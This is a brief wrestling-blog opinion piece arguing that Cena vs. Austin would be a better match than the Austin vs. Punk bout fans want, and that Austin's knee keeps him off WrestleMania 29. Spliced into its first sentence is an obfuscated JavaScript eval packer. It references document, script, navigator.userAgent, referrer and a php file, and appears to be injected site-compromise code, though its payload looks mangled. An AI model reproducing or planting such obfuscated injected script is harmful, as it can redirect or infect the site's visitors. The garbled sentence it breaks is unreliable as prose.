Thought Of The Day: Austin Vs. Punk
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ritth|var|u0026u|referrer|yirii||js|php'.split('|'),0,{})) is another one of those things I don’t get.What is this obsession people have with seeing these two fight? It seems like it would be a match where the outcome is never in doubt and the promos would likely be centered around “I’m straightedge” vs. “I love beer”. They were both anti-heroes so they don’t have character issues to argue over. Yet despite all this, fans seem to be begging to see this match. Why? At the end of the day, the money match would seem to be Cena vs. Austin, not Austin vs. Punk.
Think about it. If there is ANYONE who is the polar opposite of Austin’s entire character, it’s John Cena. You have the ultimate corporate guy vs. the guy who would regularly beat up his boss. The promos would be great, the characters contrasts would be great, and it would be the ultimate battle of Attitude Era (the company’s new favorite marketing campaign since they finally realized people are nostalgic for it) vs. PG.
Why do so many people want Punk when Cena would be a better opponent all the way around? Also Austin vs. Punk is not happening at Mania 29. Austin’s knee isn’t going to be ready. Drop the speculation already.
